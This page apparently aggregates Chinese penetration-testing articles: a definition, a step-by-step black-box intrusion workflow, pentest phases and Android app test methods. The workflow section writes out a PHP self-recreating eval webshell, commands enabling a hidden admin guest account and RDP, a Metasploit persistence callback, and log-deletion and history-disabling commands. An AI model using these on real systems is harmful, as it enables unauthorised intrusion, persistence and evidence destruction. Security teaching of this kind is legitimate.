渗透测试 订阅
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。 展开全文
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。
信息
特    点
一个渐进的并且逐步深入的过程
作    用
是通过模拟恶意黑客的攻击方法
方    法
通过使用两套扫描器进行安全评估
中文名
渗透测试
功    能
是一种机制
外文名
penetration test
渗透测试渗透测试
渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。换句话来说,渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。我们认为渗透测试还具有的两个显著特点是:渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。作为网络安全防范的一种新技术,对于网络安全组织具有实际应用价值。但要找到一家合适的公司实施渗透测试并不容易。
收起全文
精华内容
参与话题
问答
  • 一次完整的渗透测试流程

    万次阅读 多人点赞 2018-12-01 19:13:56
    渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后...

    目录

    渗透测试

    信息收集

    漏洞探测

    漏洞利用

    内网转发

    内网渗透

    痕迹清除

    撰写渗透测试保告


    渗透测试

    渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

    渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

    渗透测试分为 白盒测试黑盒测试

    • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
    • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

    我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。

    接下来,我就给大家分享下黑盒渗透测试的流程和思路!

    当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

    信息收集

    第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集

    漏洞探测

    当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:

    这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

    网站漏洞扫描工具也有很多,比如:

    网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

    漏洞利用

    当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

    SQL注入 , 传送门——> Sqlmap的使用

    XSS跨站脚本,传送门——> Beef-XSS的使用

    抓包改包工具,——> Burpsuite工具的使用  、  Fidder抓包软件的使用

    文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

    但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

    内网转发

    当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

    如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

    内网横向渗透

    当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

    对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。

    • FTP相关的软件
    • 数据库相关的软件
    • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

    从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

    net user  guest  /active:yes                      #激活guest用户
    net localgroup  administrators  guest  /add       #将guest用户添加到
    net user guest    密码                            #更改guest用户密码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

    对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

    在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

    关于内网渗透(域环境和非域环境):内网渗透

    内网的横向渗透MSF比较好用:

    内网渗透的ICMP和DNS隧道搭建:

    相关文章:内网渗透测试之域渗透详解!

                      内网渗透中mimikatz的使用

    权限维持

    在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

    Web后门

    1:隐藏后门文件(将文件设置为隐藏)

    2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

    <?php
        set_time_limit(0);//程序执行时间
        ignore_user_abort(1);//关掉终端后脚本仍然运行
        unlink(__FILE__);//文件完整名
        while(1){
            file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
            $b=array_keys($a)[0];
            eval($b);?>');
            sleep(5);
        }
    ?>

    3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

    注:以上几种后门方法均能被D盾等工具检测到

    Windows系统

    1:建立隐藏用户,在用户名后加 $ 

    2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

    3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

    #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
    run persistence -X -i 5 -p 8888 -r 192.168.10.27  
     
    #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

    4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

    5:shift后门

    6:远程桌面会话劫持 

    Linux系统

    1:SSH后门

    2:crontab定时任务

    3:SSH公钥

    4:创建SUID=0的用户

    痕迹清除

    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

    我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

    最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

    Windows系统

    1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

    2:如果3389远程登录过,需要清除mstsc痕迹

    3:执行命令清除日志:

    del %WINDR%\* .log /a/s/q/f

    4:如果是web应用,找到web日志文件,删除 

    相关文章:WINDOWS之入侵痕迹清理总结

    Linux系统

    1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

    export HISTFILE=/dev/null export HISTSIZE=0

    2:删除 /var/log 目录下的日志文件

    3:如果是web应用,找到web日志文件,删除 

    撰写渗透测试保告

    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

    未完待续。。。。。。

    相关文章:红蓝对抗经验小结

    展开全文
  • 渗透测试

    2020-03-02 09:38:07
    #渗透测试流程 ##(1) 前期交互阶段 在前期交互阶段,渗透测试工程师要确定渗透测试预期达到的目标,并确定测试的范围。渗 透测试工程师将在这个阶段与客户展开讨论,确定本次渗透测试的所有业务与细节。 ##(2) 信息...

    渗透测试

    一、渗透测试介绍
    渗透测试是通过模拟黑客的思维和攻击手段,对计算机业务系统的弱点、技术缺陷和漏洞进行探查评估。经过客户授权后,在不影响业务系统正常运行的条件下,渗透人员在黑客可能的不同的位置,采取可控的方法、手段和工具,对某个特定业务系统进行主动分析和测试,发现和挖掘业务系统中存在的弱点、技术缺陷或漏洞,输出渗透测试报告,提交给业务系统所有者。业务系统所有者根据渗透人员提供的渗透测试报告,可以清晰知晓业务系统中存在的安全隐患和问题。是计算机业务系统信息安全防范的一种新技术,对于信息安全保障具有实际应用价值。
    二、渗透对象
    1、主机操作系统渗透
    对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。
    2、数据库系统渗透
    对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应用系统进行渗透测试。
    3、应用系统渗透
    对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进行渗透测试。
    4、网络设备渗透
    对各种防火墙、入侵检测系统、网络设备进行渗透测试。
    三、渗透方法
    1、黑箱测试
    黑箱测试又被称为所谓的“Zero-Knowledge Testing”,渗透者完全处于对系统一无所知的状态,通常这类型测试,最初的信息获取来自于DNS、Web、Email及各种公开对外的服务器。
    2、白盒测试
    白盒测试与黑箱测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片段,也能够与单位的其它员工(销售、程序员、管理者……)进行面对面的沟通。这类测试的目的是模拟企业内部雇员的越权操作。
    3、隐秘测试
    隐秘测试是对被测单位而言的,通常情况下,接受渗透测试的单位网络管理部门会收到通知:在某些时段进行测试。因此能够监测网络中出现的变化。但隐秘测试则被测单位也仅有极少数人知晓测试的存在,因此能够有效地检验单位中的信息安全事件监控、响应、恢复做得是否到位。
    四、渗透测试7个阶段
    1、 前期交互阶段
    在前期交互阶段,渗透测试工程师要确定渗透测试预期达到的目标,并确定测试的范围。渗透测试工程师将在这个阶段与客户展开讨论,确定本次渗透测试的所有业务与细节。
    2、信息收集阶段
    在信息收集阶段,渗透测试工程师在确定了目标和范围以后,就要采用主动和被动两种方法 收集目标信息。其中被动信息收集可以在完全不接触目标的情况下进行。
    3、 威胁建模阶段
    在威胁建模阶段,渗透测试工程师要根据之前获得的信息,找出对目标系统威胁大的弱点, 从而确定为高效的渗透攻击方式。
    4、 漏洞分析阶段
    在漏洞分析阶段,渗透测试工程师要找到并确认目标系统上存在的已知的和未知的漏洞,然后在实验环境中进行验证。
    5、渗透攻击阶段
    在渗透攻击阶段,渗透测试工程师要利用之前得到的成果入侵目标系统的漏洞。这意味着在这个阶段,渗透测试工程师会尝试去获得目标系统的控制权。
    6、 后渗透攻击阶段
    在后渗透攻击阶段,渗透测试工程师要开展一些实际的入侵行为。例如,盗取目标计算机的 某个机密文件,直接关闭目标系统,或者在目标系统上创建一个新的远程管理账户,等等。一般来说,渗透测试工程师应该在这个阶段完成渗透攻击后的所有工作。
    7、报告阶段
    在报告阶段,渗透测试工程师需要将所有渗透测试过程中的工作进行汇总,并以书面报告的 形式提交给客户。报告中还应该包括漏洞修补和安全升级的解决方案。

    展开全文
  • 渗透测试流程仅针对公司内部渗透测试,可以获取到渗透测试源码,协同开发人员一起进行安全渗透测试,保证产品质量。 与外部渗透测试流程不同,这里获取产品信息的流程得以简化,渗透测试会比较深入,渗透测试结果...

    本渗透测试流程仅针对公司内部渗透测试,可以获取到渗透测试源码,协同开发人员一起进行安全渗透测试,保证产品质量。

    与外部渗透测试流程不同,这里获取产品信息的流程得以简化,渗透测试会比较深入,渗透测试结果不是只要发现一个问题就结束,而是要全面保证产品不会出现功能以外的安全问题。但是,众所周知,安全是相对的,完全保证安全是不可能的。那么,为达到尽可能找到所有问题的目的,最先需要了解的是渗透测试的边界。

    渗透测试准备

    目的:获取产品所有相关内容,并分析获取渗透测试的边界。

    流程:

    一. 联系领导提供的负责人,对人员进行分配。

    这里需要注意:内部渗透测试一定是由上而下进行的,否则将会出现渗透测试结论无人认可的问题。

    领导一般只提供最高负责人,需要找该负责人,获取:1. 产品安全负责人。2. 产品编码负责人。3. 若是多人合作,则还需要分配渗透测试人员,一般有一个渗透测试负责人,其他人以模块为单位进行渗透测试,但是此时模块还未分离,所以各个模块负责人并不确定。

    二. 联系所有相关人员进行渗透测试赋能(开会内容)。

    这步需要分几回合:

    1. 渗透测试领导和业务领导,以及渗透测试人员,产品支撑人员一起。主要目的是进行职责分离,人员分配。确定测试方渗透测试负责人,产品方渗透测试负责人。确定安全测试的大致时间点,包括渗透测试启动时间,产品预计发布时间(渗透测试结束时间)。

    2. 渗透测试负责人,渗透测试人员,安全设计专业人员(渗透测试之外,安全设计相关人员,包括产品方安全SE,渗透测试方安全设计),产品渗透测试负责人,产品支撑人员,由产品对渗透测试人员和安全设计人员进行赋能。该步骤包括:

        a. 产品方进行背景介绍(需要注意:背景中是否有和友商/类似产品的安全特性进行比较,若有,需要关注类似产品,否则,需要提醒产品对类似的功能特性进行友商产品分析),

        b. 产品方进行设计方案介绍(需要注意安全特性的设计方案,一定要趁专业安全设计人员在场,确保安全特性的设计合理,非安全特性但安全相关模块的安全设计合理,这里需要深入了解设计方案的安全相关项),

        c. 产品方进行模块介绍(由产品进行介绍后,由渗透测试人员确定高风险模块和安全边界,并与产品进行核对,确保渗透测试人员分析无误),

        d. 安全设计人员/渗透测试人员提出第一轮问题,主要为设计方面的安全问题,此类问题一般牵扯模块较多,改动较大,需要直接与产品负责人/相关模块负责人确认是否为问题,若是,则直接着手进行改动,并提出该问题,等待产品改动完成后进行回归。

        e. (这个应该在d步骤之前完成)确定渗透测试边界。需要确定的是:由渗透测试人员提出渗透测试边界,由产品进行确认的:哪些安全相关特性已经备案,不需要确定为问题;渗透测试的深度到达何处,我个人认为分为以下几种深度:安全边界外测试(所有外部可用的安全问题)-模块级安全测试(模块的安全测试,包括线程间安全,临时文件安全,日志隐私等,也包括功能是否安全,如数据传输方式是否安全)-安全编码级测试(编码上的安全问题,如安全功能未真正实现,如C的缓冲区溢出等)-编码规范级安全测试(了解产品的编码规范,识别是否符合)。我认为在时间允许的情况下,需要关注到安全编码级测试,否则,也需要了解到模块级安全特性测试,只在时间极其紧张的情况下,才只进行安全边界外测试。

    3. 渗透测试负责人,渗透测试人员参与。主要:a. 再次讨论确定产品的安全边界。b. 根据安全特性对产品进行模块分离。c. 根据分离出的模块,确定高风险模块。d. 确定各个模块的负责人。e. 确定渗透测试周期:需要分几轮,哪轮的渗透测试重点。尽量在不同的轮次,同一个人负责不同的模块,这样可以尽可能发现多的问题。f. 确定汇报周期,对于重要,紧急的项目,需要每天进行进展汇报,否则一般以周为单位进行汇报,汇报对象为渗透负责人,产品负责人,抄送全部相关人,汇报内容为:进展,发现的问题,主要的风险点,现阶段的阻塞点。

    三. 将开会的内容固化。

    1. 完成渗透测试计划表。

    包括:人员,轮次,分工,渗透时间点,汇报周期。

    2. 完成渗透测试安全边界和安全设计模块划分。

    包括:渗透模块划分,每个模块的分析重点,每个模块的安全边界,以模块为单位,确定渗透测试固化用例(后面讲)

    3. 完成渗透测试边界界定

    包括:每个模块需要渗透到哪个深度。是否需要安全编码审计。若需要,需要蓝军人员进行审计。

     

    至此,渗透测试准备工作完成,接下来需要进行测试了。

    展开全文
  • web渗透测试

    千人学习 2018-05-08 18:13:51
    Web渗透测试教程,该课程侧重于讲解Web安全,并通过实验详细分析常见的十种Web漏洞、漏洞利用过程等。
  • Kali Linux渗透测试技术详解+Kali Linux无线网络渗透测试详解书籍Kali Linux渗透测试技术详解+Kali Linux无线网络渗透测试详解书籍
  • 渗透测试-Android-App渗透测试测试流程 0x01:前言: 仅作为记录以供参考 0x02:漏洞测试方法以及修复方案 一、组件以及源码安全 1、签名校验 命令: //test.apk 为要检测的包jarsigner.exe -...

     

    渗透测试-Android-App渗透测试测试流程

     

     

     

    0x01:前言:

    仅作为记录以供参考

    0x02:漏洞测试方法以及修复方案

     一、组件以及源码安全

    1、签名校验

    命令:

    //test.apk 为要检测的包
    jarsigner.exe -verify test.apk -verbose –certs

    如果显示jar已验证即为已做了签名校验

    修复方案:增加验证签名机制。

    2、任意调试漏洞

      通过对apk文件进行解包,检测 AndroidManifest.xml 文件的 debuggable 属性,如果该属性为 true,则存在任意调试漏洞。

    解包过程:

    命令:

    //test.apk为要拆解的包名 test为拆解后存放的文件夹
    java -jar apktool_2.4.0.jar d -f apl test.apk -o test

    使用编译器打开XML文件,搜索关键字 debuggable ,如果存在该属性且为 true ,则存在任意调试漏洞,如果不存在该属性则不存在该漏洞(debuggable默认为false)

    修复方案:将 debuggable 改为 false。

    3、AllowBackup漏洞

      通过对apk文件进行解包,检测 AndroidManifest.xml 文件的 allowBackup 属性,如果该属性为 true,则存在 allowBackup 漏洞。用户可通过adb backup来进行对应用数据的备份,在无root的情况下可以导出应用中存储的所有数据,造成用户数据的严重泄露。

      使用编译器打开XML文件,搜索关键字 allowBackup ,如果存在该属性且为 true ,则存在allowBackup漏洞,如果不存在该属性也存在该漏洞(allowBackup默认为true)

    修复方案:将 allowBackup 改为 false。

    4、APP代码未混淆

       使用 dex2jar 对apk文件内的 classes.dex 文件处理得到 classes-dex2jar.jar 文件,使用 jd-jui 反编译jar文件得到源码,如果代码未混淆,即代码的类名、函数、变量等未变为无意义的字符,则有源码暴露、资源文件暴露、主配文件篡改、核心SO库暴露、暴力破解恶意利用等风险。

      操作方法:

      使用解压缩包软件打开apk文件,将classes.dex文件复制出来。

      使用 dex2jar 将classes.dex处理为jar文件

      命令:

    ./d2j-dex2jar.bat  /d/渗透测试/移动app渗透/dex2jar-2.0/classes.dex

      然后使用jui打开jar文件,如果代码未混淆,将是下面这个样子

    已经混淆的,如下

     

     修复方案:将代码进行混淆加密。

    5、APP未作应用完整性校验

      未检测app的MD5或CRC32、SHA1准确性以及完整性,导致可以修改app任意文件二次打包。

      拆包后将 app logo 文件替换为其他图片,一般存在于res文件夹下的以mipmap开头的几个文件夹中,或者直接在apk文件夹下搜索launcher、logo 。然后重新打包签名,查看是否可以正常安装使用

      过程如下:将app拆包后更换app的logo文件

      重新打包apk,打包生成的apk文件默认存放在apk文件夹中dist文件夹下:

      命令:

    //test指要打包的文件夹
    java -jar apktool_2.4.0.jar b test/

      将apk签名:

      命令:

    //test.apk是要签名的apk test1.apk是签名后输出的apk
    java -jar signapk.jar testkey.x509.pem testkey.pk8 test.apk test1.apk

      尝试安装,如果可以正常安装且可以正常打开使用,代表存在app未作应用完整性校验

    修复方案:在app安装时首先进行CRC32、MD5或SHA1校验,校验与源app值相同时才可以正常安装,否则禁止安装或设置开启app自动关闭

    6、APP敏感数据泄露

    主要检测软件包内的db数据库是否泄露了敏感信息,本地数据库有可能明文保存用户的账号密码或其他信息。

    将手机和pc连接,pc部署adb环境,手机需要root,adb进入手机系统

    命令:

    adb shell

    切换root权限,命令:

    su

    进入/data/data目录,此目录是用户安装的软件目录

    选择要进入的包,包名在 AndroidManifest.xml 文件中,通过搜索package可以得到

    进入相应的包,查看文件目录,应该存在database目录

    进入该目录,查看文件,导出.db文件

    命令:

    cp xx.db /sdcard/

    然后在sd卡,也就是手机内部存储器即可可见数据库文件

    使用数据库管理工具SQLiteExpert打开即可

    未完待续……

     

     

     二、逻辑漏洞

    1、邮件炸弹

      存在点:存在于任意可发送验证码的位置,发送验证码一般都有限制时间。

      验证方法:输入手机号、邮箱后抓包后多次重放,如果接到许多验证码即代表存在邮件炸弹。

      产生原因:服务器未作后端校验,只是在前端设置了60s冷却时间,但是服务端并与前端进行联合校验,导致可以绕过限制时间不停发邮件或验证码。

      修复方案:服务端记录邮件发送冷却时间,与前端其进行联合校验。

    2、任意用户密码重置

      存在点:找回密码和修改密码处

      验证方法:1.修改密码,修改自己的密码,输入正确信息后抓取发送数据包,然后改变手机号(或邮箱)这一参数,将它改为其他手机号(或邮箱),然后发出数据包。

              2.找回密码,输入自己的手机号(或邮箱),获取验证码,然后输入正确的验证码,抓包,将手机号(或邮箱)这一参数改为其他用户的手机号(或邮箱),发送数据。

      产生原因:1.输入密码后提交到服务端的post数据包需要包含当前用户的身份信息,而一般网站是通过用户名或用户ID来标识用户身份的,如果这个用户名或用户ID没有和当前手机号、短信验证码进行绑定,也就是说服务端只验证用户名、ID是否存在,而不去验证用户和当前手机号是否匹配,那么我们就可以通过修改用户名、ID去修改其他用户的密码了。

           2.漏洞原因判断了验证码是否正确,而没有判断该验证码是否跟该用户匹配。

      修复方案:对参数进行复杂加密,将用户名、验证码和手机号进行绑定,输入新的密码,然后提交到服务端,服务端应对当前用户名、手机号、短信验证码进行二次匹配验证,都为true时,才可以修改成功。

     未完待续......

     

    转载于:https://www.cnblogs.com/pureqh/p/10881329.html

    展开全文
  • 在进行渗透测试之前,需要与客户就渗透测试的目标、渗透测试的范围、渗透测试方式(黑盒、白盒、灰盒以及是否涉及社会工程学)进行商讨,达成一致协议,这一点至关重要。 (2)信息收集 在(1)的基础之上,收集.....
  • 渗透测试的种类(1) 黑盒测试定义:渗透测试人员除了知道被测试的目标之外,其余与目标相关的信息一无所知。特点:这种类型的渗透测试属于外部渗透测试。在前期需要对目标进行大量的信息收集,耗时较长。但是这种...
  • 渗透测试报告

    千次阅读 2019-10-22 17:20:40
    渗透测试 渗透测试报告
  • 渗透测试学习资料

    2018-12-11 19:30:20
    Python黑帽子 黑客与渗透测试编程之道 WEB入侵的全过程 Web入侵法总汇 web渗透测试常规套路 windosw下MySQL root用户密码重置 安全漏洞公共资源库 高度安全环境下的高级渗透测试 黑客网络入侵大型网站的完整思路 ...
  • 渗透测试执行标准(PTES:PenetrationTesting Executjion Standard)正在对渗透测试的重新定义,新标准的核心理念是通过建立起进行渗透测试所要求的基本准则基线,来定义一次真正的渗透测试过程。 PTES标准中的渗透...
  • 渗透测试是受信任的第三方通过模拟黑客可能使用的攻击手段对目标系统的安全性作出风险评估并针对目标系统所存在的风险给出安全修复建议的一个测试过程。 渗透测试的意义 通过渗透测试,可以使系统管理人员、系统...
  • 渗透测试使用详解.png

    2020-03-15 11:20:37
    渗透测试渗透测试结构图,渗透测试详解,渗透测试渗透测试结构图,渗透测试详解 渗透测试渗透测试结构图,渗透测试详解
  • 渗透测试之信息收集

    万次阅读 多人点赞 2018-11-16 11:11:41
    目录 信息收集 域名信息的收集 公司敏感信息网上搜集 网站指纹识别 整站分析 服务器类型(Linux/Windows) 网站容器(Apache/Nginx/Tomcat/IIS) 脚本类型(php/jsp/asp/aspx) 数据库类型(Mysql/Oracle...旁站和...
  • 渗透测试工具集.doc渗透测试工具集.doc渗透测试工具集.doc渗透测试工具集.doc渗透测试工具集.doc渗透测试工具集.doc渗透测试工具集.doc渗透测试工具集.doc
  • 渗透测试3---web渗透测试流程

    千次阅读 2019-10-25 00:35:00
    web渗透测试流程: 为什么需要渗透测试工具? 1.节省时间和精力 2.更准确的结果 3.先进的分析方法 4.收集更多信息 5.自动化 常见的渗透测试工具? Wireshark sqlmap NMAP(扫描工具) metasploit...
  • 渗透测试流程

    2020-03-02 12:08:42
    在前期交互阶段,渗透测试工程师要确定渗透测试预期达到的目标,并确定测试的范围。渗透测试工程师将在这个阶段与客户展开讨论,确定本次渗透测试的所有业务与细节。 作为渗透测试的第一个步骤,前期交互阶段将确定...
  • 渗透测试概述

    2020-03-03 18:46:42
    渗透测试概述 文章目录渗透测试概述1. 渗透测试概述1.1 渗透测试的分类1.2 渗透测试的流程 1. 渗透测试概述 渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是...
  • 一次完整的渗透测试流程 目录 渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,...
  • kali linux 渗透测试之内网渗透 互联网公司安全攻防专家,世界五百强...

空空如也

1 2 3 4 5 ... 20
收藏数 17,773
精华内容 7,109
关键字:

渗透测试